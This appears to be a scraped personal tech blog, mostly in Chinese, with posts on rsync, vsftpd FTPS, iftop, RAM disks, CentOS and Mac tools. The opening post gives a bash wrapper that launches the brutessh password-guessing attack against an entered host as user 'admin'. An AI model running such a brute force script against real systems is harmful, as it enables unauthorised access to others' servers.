SSH Brute Force attack tools

Here it is: http://zeldor.biz/2011/01/how-to-bruteforce-ssh/

And I'v wrote a bash script to make it more easy to use as following:

1 #!/bin/bash

2

3 read -p "Please enter your target host: " HOST

4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."

5

6 echo -n "[run/exit]? "

7 while read LINE;

8 do

9 if [ $LINE = "run" ]; then

10 clear

11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &

12 sleep 10

13 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "

14 continue

15 elif [ $LINE = "exit" ]; then

16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null

17 break

18 fi

19 done

Please to adjust /root/bin/brutessh/ above to work with your environment.

Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).

快速操作Gnome-shell

找到了一篇對於Gnome-shell不錯的鍵盤與滑鼠的快速操作說明，先收藏起來。

Gnome 3 Keyboard and Mouse Shortcuts

Synchronize files by rsync between two Linux hosts

有別於以往先手動交換主機間SSH的金鑰後再透過rsync於兩台主機間同步檔案，今天又學習到了一個新方法，在此稍做筆記。

需求：

將/var/www/html自動從HostA同步到HostB。

HostA: 10.10.2.126 (source)

HostB: 10.10.2.128 (destination)

Step:

1. 設定HostA(Destination)：

1.1 確定有安裝rsync:

[root@server1 ~]# rpm -qa | grep -i rsync

rsync-3.0.6-5.el6_0.1.i686

1.2 編輯/etc/xinetd.d/rsync：

service rsync

{

disable = no

flags = IPv6

socket_type = stream

wait = no

user = root

server = /usr/bin/rsync

server_args = --daemon

log_on_failure += USERID

}

1.3 建立/etc/rsyncd.conf：

# any name you like

[test]

# destination directory

path = /home/backup

# Hosts you allow to copy (specify source Host)

hosts allow = 10.10.2.126

hosts deny = *

list = true

uid = root

gid = root

read only = false

1.4 重新啟動xinetd

[root@server1 ~]# /etc/init.d/xinetd restart

正在停止 xinetd： [ 確定 ]

正在啟動 xinetd： [ 確定 ]

2. 設定HostB(Source)：

2.1 確定有安裝rsync:

[root@server1 ~]# rpm -qa | grep rsync

rsync-3.0.6-4.el5_7.1

2.2 執行rsync將檔案同步：

[root@server1 ~]# rsync -avz --delete /var/www/html/ 10.10.2.128::test

sending incremental file list

./

proxy.pac

proxy.pac.ipv4

proxy.pac.ipv6

wpad.dat -> proxy.pac

ssl/

ssl/index.hrml

sent 3089 bytes received 174 bytes 6526.00 bytes/sec

total size is 5039 speedup is 1.54

IP scanner on Mac OSX

發現了一套在Mac OSX下還算蠻簡單易用的IP scanner tool: Angry IP Scanner，雖然對於Mac OSX還在Beta階段，但是還算可用！

另外還有一套更好用IP scanner是由10base-t interactive開發，但是當然好用的代價就是請付點Coco.

Remove unnecessary language resources from Mac OS X

很多工具都可以幫忙刪除系統應用程式中用不到的語系，但是我覺得Monolingual是最簡潔輕巧的一款好工具，推薦給大家使用，官方只說支援到10.6但是我剛剛在10.7.2也運作得非常好，幫我省去了1.3G的空間。

PKC or OKC?

今天同事給了一個有關Wireless station roams時的行為討論，主要是在講到底什麼是PKC與OKC，實在是非常精闢的討論，故收藏起來，以供日後參考。

PKC or OKC?

簡單的定義：

Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.

X10 VS P7100

最近想買類單相機呀！找了一個table比較一下各家的spec，要不是X10在資訊會價格硬又沒送東西的話，今天就會買了吧..... 看了一看P7100好像也不錯，省下來的錢還可以買一台3DS。

規格比較表：

http://jon6773.pixnet.net/blog/post/35554542-g12--x10-x100-p7100-xz-1-lx5-%E8%A6%8F%E6%A0%BC%E6%AF%94%E8%BC%83

RAMDisk tool on Mac OSX

現在的RAM比起以往便宜了許多，多餘的記憶體空間若空閒在那邊的確是有點可惜，把RAM當disk使用不論在Linux或是Windows上都有相對應的方法與工具，當然Mac上也是有的，最簡單的工具首推TmpDisk，怎麼設定呢？那真是簡單到不行呀，不用多說看下面的截圖您必定明白。

這邊也提供MacOSX手動產生RAMdisk的方法：

http://osxdaily.com/2007/03/23/create-a-ram-disk-in-mac-os-x/

最常用的就是將RAMdisk當成瀏覽器的快取，以下提供我用Google Chrome實作的步驟：

Step1. 透過TmpDisk產生RAMDisk，並且將Auto Create與Always start on login啟動。

Step2. 關閉Google Chrome。

Step3. 開啟OSX的終端機。

Step4. 將Chrome目前的快取目錄刪除。

rm -rf ~/Library/Caches/Google/Chrome/Default

Step5. 產生一個softlink將~/Library/Caches/Google/Chrome/Default連接到Step1產生的快取.

ln -s /Volumes/Chrome\ Cache/ ~/Library/Caches/Google/Chrome/Default

/Volumes/Chrome\ Cache/就是我透過TmpDisk產生的快取。

Configure Apache to use SSL on CentOS5.X

預設CentOS5.X啟動Apache時，https並沒有跟著被帶起來，其實只要裝上mod_ssl這個套件後，當下次重新啟動Apache時，就會自動打開https了，而其主要的配置檔案會自動產生於/etc/httpd/conf.d/ssl.conf檔案中。

這個方法固然快速，然而如果你想手動自己來的話還是可以的。

RuckusWireless TDC誠徵QA Engineer

敝公司目前有在找QA Engineer，有興趣的人不妨可以投履歷看看！

順便貼上一段當初看完影片後，讓我百分之百想進入RuckusWireless工作的影片，現在看起來還是很熱血。

http://www.youtube.com/watch?v=62-3m5N8X1g&feature=related

Tips: 找尋欲編輯的檔案內容並且直接開啟

[root@centos6 etc]# vi `find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`

Explain:

1. 在/etc folder透過find指令尋找全部的檔案。

2. 透過xargs將pipe前的stdout轉變成餵給grep的參數。

3. 透過cut指令做簡單的filter。

4. 將`find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`看成一個指令的輸出，餵給vi。

Tips: 查看user屬於那一個group

傳統的方法是透過/etc/group的文檔來查看user屬於哪一些group。

[root@centos6 ~]# cat /etc/group | grep root

root:x:0:root

bin:x:1:root,bin,daemon

daemon:x:2:root,bin,daemon

sys:x:3:root,bin,adm

adm:x:4:root,adm,daemon

disk:x:6:root

wheel:x:10:root

其實可以透過groups指令來查詢的。

[root@centos6 ~]# groups root

root : root bin daemon sys adm disk wheel

[root@centos6 ~]#

於CentOS6架設FTP-SSL

如果要在Internet上開放FTP的服務給使用者使用，比較安全的做法有SFTP與FTPs，但是SFTP必需也要開放sshd，萬一OpenSSH存在系統漏洞的話，整個系統是很容易受到攻擊的！所以FTPs看起來是比較安全的應用，以下便簡單記錄怎麼在CentOS6中透過vsftpd架設FTPs。

Steps:

1. 檢查vsftpd是否有支援ssl:

[root@centos6 ~]# ldd `which vsftpd` | grep ssl

libssl.so.10 => /usr/lib/libssl.so.10 (0x00af1000) -> 看到libssl則代表有支援。

2. 產生vsftpd所需要的憑證:

[root@centos6 ~]# cd /etc/pki/tls/certs/

[root@centos6 certs]# make vsftpd.pem

[root@centos6 certs]# cp -a vsftpd.pem /etc/vsftpd/

3. 設定vsftpd.conf:

anonymous_enable=YES

local_enable=YES

write_enable=YES

local_umask=022

dirmessage_enable=YES

xferlog_enable=YES

connect_from_port_20=YES

xferlog_file=/var/log/vsftpd.log

xferlog_std_format=YES

chroot_local_user=YES

chroot_list_enable=YES

chroot_list_file=/etc/vsftpd/chroot_list ->注意！必需要手動產生一個chroot_list的空檔

listen=YES

pam_service_name=vsftpd

userlist_enable=YES

tcp_wrappers=YES

ssl_enable=YES

allow_anon_ssl=NO

force_local_data_ssl=YES

force_local_logins_ssl=YES

ssl_tlsv1=YES

ssl_sslv2=NO

ssl_sslv3=NO

rsa_cert_file=/etc/vsftpd/vsftpd.pem

這邊附上vsftpd的man page。

4. 啟動vsftpd

[root@centos6 vsftpd]# /etc/init.d/vsftpd restart

正在關閉 vsftpd： [ 確定 ]

正在啟動 vsftpd 中的 vsftpd： [ 確定 ]

[root@centos6 vsftpd]#

5. 在OSX透過Cyperduck測試:

5.1 設定連線為FTP-SSL

5.2 輸入FTP Server的IP address，系統會警告一個不被信任的憑證，當然此憑證是我剛剛產生的，所以要信任它囉:

大功告成！

透過網路安裝RHEL6

其實做法跟RHEL5一樣，只是與RHEL5不同的是開機時沒有boot:的提示，以下透過CentOS6簡單演練一下：

Steps:

1. 放入CentOS6的開機光碟，但是與RHEL5不一樣的是沒有boot:的提示，取而代之的是grub直接帶出以下的選項：

2. 按下ESC帶出boot: 並且輸入linux askmethod叫系統帶出安裝的方法。

3. 選擇語系：

4. 選擇鍵盤的配置：

5. 選擇安裝的方法，此例子選擇來源為NFS Server：

6. 設定IP address:

7. 設定NFS Server:

8. 之後anaconda就可以順利啟動了：

在Linux中可媲美foobar的播放器: DeadBeef

如果對聽音樂很注重"品質"的朋友一定聽說過foobar2000這套軟體，小弟不才是經過公司同事的介紹後才認識到它，但是瘋狂帽客真的不是叫假的，我是很不習慣使用Windows的使用者，於是今天想找看看有沒有可媲美foobar2000的軟體，所幸GNU tools是有的，它叫做DeadBeef，死牛？喔喔～這名稱有點可怕哩，一開始以為是教你怎麼把一隻活生生的牛處理掉了...... 忽然想到LPIC封面的那隻牛 XD。

經過實測，把檔案放到ramdisk透過deadbeef來聽，感覺上真的有比Rhythmbox帶給我更不同的感受，以下列出我的測試設備/條件：

1. 作業系統: OpenSUSE 11.4 X86_64

2. 耳機: AKG K514

3. Deadbeef: 0.5.1-1

說說看如何安裝Deadbeef到OpenSUSE 11.4吧。

1. 至Packman搜尋deadbeef(http://packman.links2linux.org/package/deadbeef/251257)

2. 安裝libzip.so.1()(64bit): # zyppe in libzip.so.1\(\)\(64bit\)

3. 安裝deadbeef: # rpm -ivh deadbeef*rpm

接下來就把音樂檔案放到/dev/shm(ramdisk)中透過Deadbeef來播放看看吧！

Steve Jobs Dies

今天世界痛失了一位不斷改變人們生活習慣的天才Steve Jobs(1955-2011)...

Upgrade CentOS6 to CentOS6.x

RHEL6.1已經出來一陣子了, 但是CentOS似乎沒有趕上? 一直停留在6.0, 我們該懷疑CentOS不再繼續提供更新了嗎? 喔~不! CentOS team還是有持續努力的! 只要裝上一個extra repository就可以將CentOS6.0升級到CentOS6.1了.

Steps:

# yum install centos-release-cr

# yum update

強烈建議每位CentOS users一定要裝上這個extra repository才能繼續讓你的CentOS6頭好壯壯.

檢查MacOSX的partition layout

MacOSX沒有fdisk的指令，但是還是有類似的指令的，其指令如下：

# diskutil list

/dev/disk0

#: TYPE NAME SIZE IDENTIFIER

0: GUID_partition_scheme *160.0 GB disk0

1: EFI 209.7 MB disk0s1

2: Apple_HFS Macintosh 60.2 GB disk0s2

3: Apple_HFS Data 99.4 GB disk0s3

/dev/disk1

#: TYPE NAME SIZE IDENTIFIER

0: *8.0 GB disk1

/dev/disk2

#: TYPE NAME SIZE IDENTIFIER

0: Garmin-Asus *3.3 GB disk2

話說diskutil還真是MacOSX下的好工具呀！

Linux上的網路流量監控程式iftop

在Linux上我常使用iptraf去監控本機的網路流量，然而今天又發現到了另一套簡單而有用的程式也可以在Linux上監控流量，它叫做iftop

以下是在CentOS6中的安裝與使用：

1. 抓取source:

# wget ftp://rpmfind.net/linux/dag/redhat/el6/en/i386/dag/RPMS/iftop-0.17-1.el6.rf.i686.rpm

(這是i386的版本 for CentOS6)

2. 安裝:

# rpm -ivh iftop*

3. 使用:

# iftop

。

4. 加上-P，顯示port number:

More parameters:

[root@centos6 ~]# iftop -h

iftop: display bandwidth usage on an interface by host

Synopsis: iftop -h | [-npbBP] [-i interface] [-f filter code] [-N net/mask]

-h display this message

-n don't do hostname lookups

-N don't convert port numbers to services

-p run in promiscuous mode (show traffic between other

hosts on the same network segment)

-b don't display a bar graph of traffic

-B Display bandwidth in bytes

-i interface listen on named interface

-f filter code use filter code to select packets to count

(default: none, but only IP packets are counted)

-F net/mask show traffic flows in/out of network

-P show ports as well as hosts

-m limit sets the upper limit for the bandwidth scale

-c config file specifies an alternative configuration file

iftop, version 0.17

copyright (c) 2002 Paul Warren and contributors

[root@centos6 ~]#

Iperf under IPv6 mode

Prepare Iperf version 1.6.3 or later.

Server side:

iperf -s -V

Client side:

iperf -c [IPv6 IPaddress] -V

That's all.